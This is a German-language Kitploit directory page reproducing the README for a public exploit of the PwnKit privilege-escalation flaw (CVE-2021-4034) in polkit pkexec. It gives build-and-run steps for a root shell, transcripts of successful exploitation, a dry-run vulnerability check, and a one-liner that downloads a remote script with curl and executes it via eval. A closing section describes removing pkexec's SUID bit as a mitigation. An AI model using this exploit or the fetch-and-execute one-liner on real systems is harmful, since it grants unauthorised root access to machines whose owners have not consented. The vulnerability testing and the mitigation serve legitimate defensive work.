Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/thejoyofhacking/berdav-cve-2021-4034
Privilege EscalationExploit-FrameworksSchwachstellenanalyseExploitationPenetrationstestsRed Teaming
GitHubthejoyofhacking/berdav-cve-2021-4034

berdav-CVE-2021-4034

Exploit für CVE-2021-4034 (PwnKit), der eine Root-Shell über polkit pkexec bereitstellt. Enthält einen Dry-Run-Modus zum Testen der Schwachstelle sowie ein Einzeiler-Skript für die schnelle Ausnutzung.

Repository anzeigen
4vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2021-4034

Ein One-Day-Exploit für die Polkit-Privilegieneskalation

Führe einfach make, ./cve-2021-4034 aus und genieße deine Root-Shell.

Das ursprüngliche Advisory der eigentlichen Autoren findest du hier

PoC

Wenn der Exploit funktioniert, erhältst du sofort eine Root-Shell:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit

Ein Update von polkit auf den meisten Systemen patcht den Exploit, daher erhältst du die Nutzungshinweise und das Programm beendet sich:

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$

Trockentest

Um keine Shell auszuführen, sondern nur zu testen, ob das System verwundbar ist, kompiliere das Ziel dry-run.

Wenn das Programm mit der Ausgabe „root“ endet, bedeutet das, dass dein System für den Exploit verwundbar ist.

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1

Wenn dein System nicht verwundbar ist, gibt es eine Fehlermeldung aus und beendet sich.

root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
       --help |
       --disable-internal-agent |
       [--user username] PROGRAM [ARGUMENTS...]

See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0

Über Polkit pkexec für Linux

Polkit (früher PolicyKit) ist eine Komponente zur Steuerung systemweiter Privilegien in Unix-ähnlichen Betriebssystemen. Es bietet eine organisierte Möglichkeit für nicht privilegierte Prozesse, mit privilegierten Prozessen zu kommunizieren. Es ist auch möglich, polkit zu verwenden, um Befehle mit erhöhten Privilegien auszuführen, indem der Befehl pkexec gefolgt von dem auszuführenden Befehl (mit Root-Berechtigung) verwendet wird.

Einzeiler-Befehle

Du kannst das System einfach mit einem einzigen Skript ausnutzen, das mit diesem Befehl heruntergeladen und ausgeführt werden kann:

root@kitploit:~
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
root@kitploit:~
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall    cve-2021-4034.c   -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root

Gegenmaßnahmen

Wenn für dein Betriebssystem keine Patches verfügbar sind, kannst du als vorübergehende Gegenmaßnahme das SUID-Bit von pkexec entfernen.

root@kitploit:~
# chmod 0755 /usr/bin/pkexec

Der Exploit schlägt dann fehl und meldet, dass pkexec das setuid-Bit gesetzt haben muss.

root@kitploit:~
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root
Tool herunterladen